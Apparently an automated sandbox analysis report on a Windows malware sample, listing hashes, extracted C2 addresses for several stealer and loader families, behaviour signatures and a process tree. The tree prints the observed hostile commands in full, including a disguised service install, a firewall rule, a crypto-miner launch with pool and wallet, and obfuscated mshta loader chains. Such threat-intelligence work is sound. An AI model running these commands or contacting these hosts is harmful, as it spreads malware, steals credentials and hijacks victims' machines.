Analysis

  • max time kernel
    102s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    29/11/2021, 17:11

General

  • Target

    5d432a487f6faa8ee632b6349c2854754639ee67c7841f5dfc89920b10db8062.exe

  • Size

    335KB

  • MD5

    4726fad5fa3579f2d7c18f7f8b7d2cc4

  • SHA1

    3cebcafb6117bae511f69f3890959ba722d31125

  • SHA256

    5d432a487f6faa8ee632b6349c2854754639ee67c7841f5dfc89920b10db8062

  • SHA512

    253a93fd464c87f01cd8ab9f30d3d24282bf1a40ee3a35679b2d3c37812b2e1ee270db927fe7f5366c40d278ee20cacb4a5e34127050b67325e0011c2f5cddc7

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

quadoil.ru

lakeflex.ru

Extracted

Family

redline

C2

185.189.167.130:38637

Extracted

Family

arkei

Botnet

Default

C2

http://file-file-host4.com/tratata.php

Extracted

Family

redline

Botnet

bbtt1

C2

212.193.30.196:13040

Extracted

Family

vidar

Version

48.7

Botnet

706

C2

https://mstdn.social/@anapa

https://mastodon.social/@mniami

Attributes
  • profile_id

    706

Extracted

Family

redline

Botnet

easy cash

C2

178.238.8.207:11703

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Bazar Loader

    Detected loader normally used to deploy BazarBackdoor malware.

  • CryptBot

    A C++ stealer distributed widely in bundle with other software.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 6 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • Bazar/Team9 Loader payload 1 IoCs
  • Vidar Stealer 2 IoCs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 11 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 12 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5d432a487f6faa8ee632b6349c2854754639ee67c7841f5dfc89920b10db8062.exe
    "C:\Users\Admin\AppData\Local\Temp\5d432a487f6faa8ee632b6349c2854754639ee67c7841f5dfc89920b10db8062.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2540
    • C:\Users\Admin\AppData\Local\Temp\5d432a487f6faa8ee632b6349c2854754639ee67c7841f5dfc89920b10db8062.exe
      "C:\Users\Admin\AppData\Local\Temp\5d432a487f6faa8ee632b6349c2854754639ee67c7841f5dfc89920b10db8062.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:364
  • C:\Users\Admin\AppData\Local\Temp\681C.exe
    C:\Users\Admin\AppData\Local\Temp\681C.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1564
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mmrhezlk\
      2⤵
        PID:2884
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\buiumgiv.exe" C:\Windows\SysWOW64\mmrhezlk\
        2⤵
          PID:676
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mmrhezlk binPath= "C:\Windows\SysWOW64\mmrhezlk\buiumgiv.exe /d\"C:\Users\Admin\AppData\Local\Temp\681C.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1032
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description mmrhezlk "wifi internet conection"
            2⤵
              PID:1304
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start mmrhezlk
              2⤵
                PID:968
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1456
              • C:\Users\Admin\AppData\Local\Temp\7CCE.exe
                C:\Users\Admin\AppData\Local\Temp\7CCE.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2216
                • C:\Users\Admin\AppData\Local\Temp\7CCE.exe
                  C:\Users\Admin\AppData\Local\Temp\7CCE.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2332
              • C:\Windows\SysWOW64\mmrhezlk\buiumgiv.exe
                C:\Windows\SysWOW64\mmrhezlk\buiumgiv.exe /d"C:\Users\Admin\AppData\Local\Temp\681C.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1228
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2128
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2576
              • C:\Users\Admin\AppData\Local\Temp\B8FD.exe
                C:\Users\Admin\AppData\Local\Temp\B8FD.exe
                1⤵
                • Executes dropped EXE
                • Checks SCSI registry key(s)
                • Suspicious behavior: MapViewOfSection
                PID:2956
              • C:\Users\Admin\AppData\Local\Temp\D986.exe
                C:\Users\Admin\AppData\Local\Temp\D986.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:3312
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\D986.exe" & exit
                  2⤵
                    PID:3124
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /t 5
                      3⤵
                      • Delays execution with timeout.exe
                      PID:1764
                • C:\Windows\system32\regsvr32.exe
                  regsvr32 /s C:\Users\Admin\AppData\Local\Temp\366.dll
                  1⤵
                  • Loads dropped DLL
                  PID:1692
                • C:\Users\Admin\AppData\Local\Temp\23EF.exe
                  C:\Users\Admin\AppData\Local\Temp\23EF.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:608
                  • C:\Users\Admin\AppData\Local\Temp\23EF.exe
                    C:\Users\Admin\AppData\Local\Temp\23EF.exe
                    2⤵
                    • Executes dropped EXE
                    • Checks SCSI registry key(s)
                    • Suspicious behavior: MapViewOfSection
                    PID:872
                • C:\Users\Admin\AppData\Local\Temp\397C.exe
                  C:\Users\Admin\AppData\Local\Temp\397C.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:1384
                  • C:\Windows\SysWOW64\mshta.exe
                    "C:\Windows\System32\mshta.exe" VBSCrIPT: ClOSE ( CREaTEOBjeCt ( "wscRipT.shell" ). RUN ( "C:\Windows\system32\cmd.exe /q /R coPY /Y ""C:\Users\Admin\AppData\Local\Temp\397C.exe"" ..\5b1_g~qYDZdSZ8W.eXe && StaRT ..\5b1_g~qYdZdSZ8W.eXE -PVQQIyT0eqsTq & If """" == """" for %o iN ( ""C:\Users\Admin\AppData\Local\Temp\397C.exe"" ) do taskkill -F -IM ""%~Nxo"" " , 0 , True ) )
                    2⤵
                      PID:1400
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\system32\cmd.exe" /q /R coPY /Y "C:\Users\Admin\AppData\Local\Temp\397C.exe" ..\5b1_g~qYDZdSZ8W.eXe && StaRT ..\5b1_g~qYdZdSZ8W.eXE -PVQQIyT0eqsTq & If "" == "" for %o iN ( "C:\Users\Admin\AppData\Local\Temp\397C.exe" ) do taskkill -F -IM "%~Nxo"
                        3⤵
                          PID:3740
                          • C:\Users\Admin\AppData\Local\Temp\5b1_g~qYDZdSZ8W.eXe
                            ..\5b1_g~qYdZdSZ8W.eXE -PVQQIyT0eqsTq
                            4⤵
                            • Executes dropped EXE
                            PID:1636
                            • C:\Windows\SysWOW64\mshta.exe
                              "C:\Windows\System32\mshta.exe" VBSCrIPT: ClOSE ( CREaTEOBjeCt ( "wscRipT.shell" ). RUN ( "C:\Windows\system32\cmd.exe /q /R coPY /Y ""C:\Users\Admin\AppData\Local\Temp\5b1_g~qYDZdSZ8W.eXe"" ..\5b1_g~qYDZdSZ8W.eXe && StaRT ..\5b1_g~qYdZdSZ8W.eXE -PVQQIyT0eqsTq & If ""-PVQQIyT0eqsTq "" == """" for %o iN ( ""C:\Users\Admin\AppData\Local\Temp\5b1_g~qYDZdSZ8W.eXe"" ) do taskkill -F -IM ""%~Nxo"" " , 0 , True ) )
                              5⤵
                                PID:1544
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\system32\cmd.exe" /q /R coPY /Y "C:\Users\Admin\AppData\Local\Temp\5b1_g~qYDZdSZ8W.eXe" ..\5b1_g~qYDZdSZ8W.eXe && StaRT ..\5b1_g~qYdZdSZ8W.eXE -PVQQIyT0eqsTq & If "-PVQQIyT0eqsTq " == "" for %o iN ( "C:\Users\Admin\AppData\Local\Temp\5b1_g~qYDZdSZ8W.eXe" ) do taskkill -F -IM "%~Nxo"
                                  6⤵
                                    PID:972
                                • C:\Windows\SysWOW64\mshta.exe
                                  "C:\Windows\System32\mshta.exe" VBscriPT: CLOse( crEatEobJect ( "WSCRIPT.sHEll" ). run ( "C:\Windows\system32\cmd.exe /C echO | Set /p = ""MZ"" > Y9P8GeW.SYt& coPy /y /b Y9P8GeW.Syt+ iDTWeX.KR + 6VXIK.D + WNYGk.9UB ..\6KSsiU1.MB & del /Q *& STaRt odbcconf /a { REgsvr ..\6ksSIU1.MB } " , 0 , tRuE ) )
                                  5⤵
                                    PID:4000
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /C echO | Set /p = "MZ" > Y9P8GeW.SYt& coPy /y /b Y9P8GeW.Syt+ iDTWeX.KR + 6VXIK.D + WNYGk.9UB ..\6KSsiU1.MB & del /Q *& STaRt odbcconf /a { REgsvr ..\6ksSIU1.MB }
                                      6⤵
                                        PID:2484
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /S /D /c" echO "
                                          7⤵
                                            PID:3616
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /S /D /c" Set /p = "MZ" 1>Y9P8GeW.SYt"
                                            7⤵
                                              PID:2008
                                            • C:\Windows\SysWOW64\odbcconf.exe
                                              odbcconf /a { REgsvr ..\6ksSIU1.MB }
                                              7⤵
                                                PID:2252
                                        • C:\Windows\SysWOW64\taskkill.exe
                                          taskkill -F -IM "397C.exe"
                                          4⤵
                                          • Kills process with taskkill
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:1456
                                  • C:\Users\Admin\AppData\Local\Temp\4C78.exe
                                    C:\Users\Admin\AppData\Local\Temp\4C78.exe
                                    1⤵
                                    • Executes dropped EXE
                                    PID:3672
                                  • C:\Users\Admin\AppData\Local\Temp\72ED.exe
                                    C:\Users\Admin\AppData\Local\Temp\72ED.exe
                                    1⤵
                                      PID:3536
                                    • C:\Users\Admin\AppData\Local\Temp\8453.exe
                                      C:\Users\Admin\AppData\Local\Temp\8453.exe
                                      1⤵
                                        PID:3000
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\system32\cmd.exe" /c rd /s /q C:\Users\Admin\AppData\Local\Temp\CevjgIvirZUe & timeout 4 & del /f /q "C:\Users\Admin\AppData\Local\Temp\8453.exe"
                                          2⤵
                                            PID:2984
                                            • C:\Windows\SysWOW64\timeout.exe
                                              timeout 4
                                              3⤵
                                              • Delays execution with timeout.exe
                                              PID:1524
                                        • C:\Users\Admin\AppData\Local\Temp\8B1B.exe
                                          C:\Users\Admin\AppData\Local\Temp\8B1B.exe
                                          1⤵
                                            PID:3540
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c taskkill /im 8B1B.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\8B1B.exe" & del C:\ProgramData\*.dll & exit
                                              2⤵
                                                PID:3732
                                                • C:\Windows\SysWOW64\taskkill.exe
                                                  taskkill /im 8B1B.exe /f
                                                  3⤵
                                                  • Kills process with taskkill
                                                  PID:1376
                                                • C:\Windows\SysWOW64\timeout.exe
                                                  timeout /t 6
                                                  3⤵
                                                  • Delays execution with timeout.exe
                                                  PID:828
                                            • C:\Windows\SysWOW64\explorer.exe
                                              C:\Windows\SysWOW64\explorer.exe
                                              1⤵
                                                PID:2508
                                              • C:\Windows\explorer.exe
                                                C:\Windows\explorer.exe
                                                1⤵
                                                  PID:3732
                                                • C:\Windows\System32\rundll32.exe
                                                  C:\Windows\System32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\366.dll,DllRegisterServer {8C135A01-E72E-4B50-A53A-A79455A8EB04}
                                                  1⤵
                                                    PID:2968
                                                  • C:\Users\Admin\AppData\Local\Temp\B180.exe
                                                    C:\Users\Admin\AppData\Local\Temp\B180.exe
                                                    1⤵
                                                      PID:3196
                                                    • C:\Users\Admin\AppData\Local\Temp\ED51.exe
                                                      C:\Users\Admin\AppData\Local\Temp\ED51.exe
                                                      1⤵
                                                        PID:1920

                                                      Network

                                                            MITRE ATT&CK Enterprise v6

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            • memory/364-116-0x0000000000400000-0x0000000000409000-memory.dmp

                                                              Filesize

                                                              36KB

                                                            • memory/608-199-0x0000000003533000-0x0000000003544000-memory.dmp

                                                              Filesize

                                                              68KB

                                                            • memory/1228-155-0x0000000003370000-0x00000000034BA000-memory.dmp

                                                              Filesize

                                                              1.3MB

                                                            • memory/1228-154-0x0000000003521000-0x0000000003531000-memory.dmp

                                                              Filesize

                                                              64KB

                                                            • memory/1228-160-0x0000000000400000-0x000000000322A000-memory.dmp

                                                              Filesize

                                                              46.2MB

                                                            • memory/1564-125-0x0000000000400000-0x000000000322A000-memory.dmp

                                                              Filesize

                                                              46.2MB

                                                            • memory/1564-124-0x0000000003230000-0x00000000032DE000-memory.dmp

                                                              Filesize

                                                              696KB

                                                            • memory/1692-221-0x0000000002490000-0x00000000024BA000-memory.dmp

                                                              Filesize

                                                              168KB

                                                            • memory/1920-323-0x0000000003250000-0x000000000339A000-memory.dmp

                                                              Filesize

                                                              1.3MB

                                                            • memory/1920-335-0x0000000007973000-0x0000000007974000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/1920-336-0x0000000007974000-0x0000000007976000-memory.dmp

                                                              Filesize

                                                              8KB

                                                            • memory/1920-334-0x0000000007972000-0x0000000007973000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/1920-331-0x0000000000400000-0x000000000324A000-memory.dmp

                                                              Filesize

                                                              46.3MB

                                                            • memory/1920-332-0x0000000007970000-0x0000000007971000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2128-159-0x0000000002C60000-0x0000000002C61000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2128-156-0x0000000002D50000-0x0000000002D65000-memory.dmp

                                                              Filesize

                                                              84KB

                                                            • memory/2128-158-0x0000000002C60000-0x0000000002C61000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2216-130-0x00000000007C0000-0x00000000007C1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2216-140-0x0000000005730000-0x0000000005731000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2216-138-0x0000000004F90000-0x0000000004F91000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2216-137-0x0000000005220000-0x0000000005221000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2216-134-0x0000000004FE0000-0x0000000004FE1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2252-280-0x0000000000850000-0x0000000000900000-memory.dmp

                                                              Filesize

                                                              704KB

                                                            • memory/2252-281-0x0000000000960000-0x00000000009FC000-memory.dmp

                                                              Filesize

                                                              624KB

                                                            • memory/2252-284-0x0000000000960000-0x00000000009FC000-memory.dmp

                                                              Filesize

                                                              624KB

                                                            • memory/2252-253-0x0000000004BF0000-0x0000000004CA6000-memory.dmp

                                                              Filesize

                                                              728KB

                                                            • memory/2252-249-0x0000000000AE0000-0x0000000000AE1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2252-245-0x0000000004560000-0x00000000047E7000-memory.dmp

                                                              Filesize

                                                              2.5MB

                                                            • memory/2252-252-0x0000000001010000-0x0000000001109000-memory.dmp

                                                              Filesize

                                                              996KB

                                                            • memory/2332-151-0x0000000005230000-0x0000000005231000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2332-150-0x00000000052D0000-0x00000000052D1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2332-179-0x0000000007370000-0x0000000007371000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2332-167-0x0000000006150000-0x0000000006151000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2332-178-0x0000000006C70000-0x0000000006C71000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2332-149-0x00000000051A0000-0x00000000051A1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2332-148-0x0000000005710000-0x0000000005711000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2332-143-0x0000000000400000-0x0000000000420000-memory.dmp

                                                              Filesize

                                                              128KB

                                                            • memory/2332-152-0x0000000005100000-0x0000000005706000-memory.dmp

                                                              Filesize

                                                              6.0MB

                                                            • memory/2332-162-0x0000000005560000-0x0000000005561000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2332-153-0x0000000005270000-0x0000000005271000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2508-277-0x0000000000F70000-0x0000000000FDB000-memory.dmp

                                                              Filesize

                                                              428KB

                                                            • memory/2508-275-0x0000000001200000-0x0000000001274000-memory.dmp

                                                              Filesize

                                                              464KB

                                                            • memory/2540-115-0x0000000003563000-0x0000000003574000-memory.dmp

                                                              Filesize

                                                              68KB

                                                            • memory/2540-118-0x0000000000030000-0x0000000000039000-memory.dmp

                                                              Filesize

                                                              36KB

                                                            • memory/2576-177-0x0000000002A50000-0x0000000002B41000-memory.dmp

                                                              Filesize

                                                              964KB

                                                            • memory/2576-172-0x0000000002A50000-0x0000000002B41000-memory.dmp

                                                              Filesize

                                                              964KB

                                                            • memory/2956-170-0x0000000000430000-0x000000000057A000-memory.dmp

                                                              Filesize

                                                              1.3MB

                                                            • memory/2956-169-0x0000000000430000-0x000000000057A000-memory.dmp

                                                              Filesize

                                                              1.3MB

                                                            • memory/2956-171-0x0000000000400000-0x000000000042C000-memory.dmp

                                                              Filesize

                                                              176KB

                                                            • memory/3000-259-0x0000000001130000-0x0000000001812000-memory.dmp

                                                              Filesize

                                                              6.9MB

                                                            • memory/3000-262-0x0000000077560000-0x00000000776EE000-memory.dmp

                                                              Filesize

                                                              1.6MB

                                                            • memory/3000-264-0x0000000001130000-0x0000000001812000-memory.dmp

                                                              Filesize

                                                              6.9MB

                                                            • memory/3000-263-0x0000000001130000-0x0000000001812000-memory.dmp

                                                              Filesize

                                                              6.9MB

                                                            • memory/3000-261-0x0000000001130000-0x0000000001812000-memory.dmp

                                                              Filesize

                                                              6.9MB

                                                            • memory/3008-181-0x00000000032B0000-0x00000000032C6000-memory.dmp

                                                              Filesize

                                                              88KB

                                                            • memory/3008-213-0x0000000004EE0000-0x0000000004EF6000-memory.dmp

                                                              Filesize

                                                              88KB

                                                            • memory/3008-119-0x0000000001250000-0x0000000001266000-memory.dmp

                                                              Filesize

                                                              88KB

                                                            • memory/3196-293-0x0000000003583000-0x00000000035AF000-memory.dmp

                                                              Filesize

                                                              176KB

                                                            • memory/3196-294-0x00000000051B0000-0x00000000051DE000-memory.dmp

                                                              Filesize

                                                              184KB

                                                            • memory/3196-310-0x0000000007914000-0x0000000007916000-memory.dmp

                                                              Filesize

                                                              8KB

                                                            • memory/3196-303-0x0000000007913000-0x0000000007914000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/3196-296-0x0000000003480000-0x00000000034B9000-memory.dmp

                                                              Filesize

                                                              228KB

                                                            • memory/3196-300-0x0000000007910000-0x0000000007911000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/3196-301-0x0000000007912000-0x0000000007913000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/3196-299-0x0000000000400000-0x000000000324A000-memory.dmp

                                                              Filesize

                                                              46.3MB

                                                            • memory/3196-298-0x00000000051E0000-0x000000000520C000-memory.dmp

                                                              Filesize

                                                              176KB

                                                            • memory/3312-187-0x0000000000400000-0x0000000003232000-memory.dmp

                                                              Filesize

                                                              46.2MB

                                                            • memory/3312-186-0x00000000001D0000-0x00000000001F1000-memory.dmp

                                                              Filesize

                                                              132KB

                                                            • memory/3536-250-0x0000000000E60000-0x00000000015A2000-memory.dmp

                                                              Filesize

                                                              7.3MB

                                                            • memory/3536-247-0x0000000000E60000-0x00000000015A2000-memory.dmp

                                                              Filesize

                                                              7.3MB

                                                            • memory/3536-246-0x0000000000E60000-0x00000000015A2000-memory.dmp

                                                              Filesize

                                                              7.3MB

                                                            • memory/3536-248-0x0000000077560000-0x00000000776EE000-memory.dmp

                                                              Filesize

                                                              1.6MB

                                                            • memory/3536-251-0x0000000000E60000-0x00000000015A2000-memory.dmp

                                                              Filesize

                                                              7.3MB

                                                            • memory/3540-287-0x0000000003720000-0x00000000037F5000-memory.dmp

                                                              Filesize

                                                              852KB

                                                            • memory/3540-292-0x0000000000400000-0x000000000329A000-memory.dmp

                                                              Filesize

                                                              46.6MB

                                                            • memory/3672-236-0x00000000078C4000-0x00000000078C6000-memory.dmp

                                                              Filesize

                                                              8KB

                                                            • memory/3672-225-0x00000000078C3000-0x00000000078C4000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/3672-232-0x0000000008570000-0x0000000008571000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/3672-228-0x00000000078C0000-0x00000000078C1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/3672-224-0x0000000005360000-0x000000000538C000-memory.dmp

                                                              Filesize

                                                              176KB

                                                            • memory/3672-216-0x00000000034F6000-0x0000000003522000-memory.dmp

                                                              Filesize

                                                              176KB

                                                            • memory/3672-219-0x0000000004FE0000-0x000000000500E000-memory.dmp

                                                              Filesize

                                                              184KB

                                                            • memory/3672-220-0x0000000003250000-0x000000000339A000-memory.dmp

                                                              Filesize

                                                              1.3MB

                                                            • memory/3672-223-0x00000000078C2000-0x00000000078C3000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/3672-226-0x0000000000400000-0x0000000003245000-memory.dmp

                                                              Filesize

                                                              46.3MB

                                                            • memory/3732-278-0x00000000012D0000-0x00000000012D7000-memory.dmp

                                                              Filesize

                                                              28KB

                                                            • memory/3732-279-0x00000000012C0000-0x00000000012CC000-memory.dmp

                                                              Filesize

                                                              48KB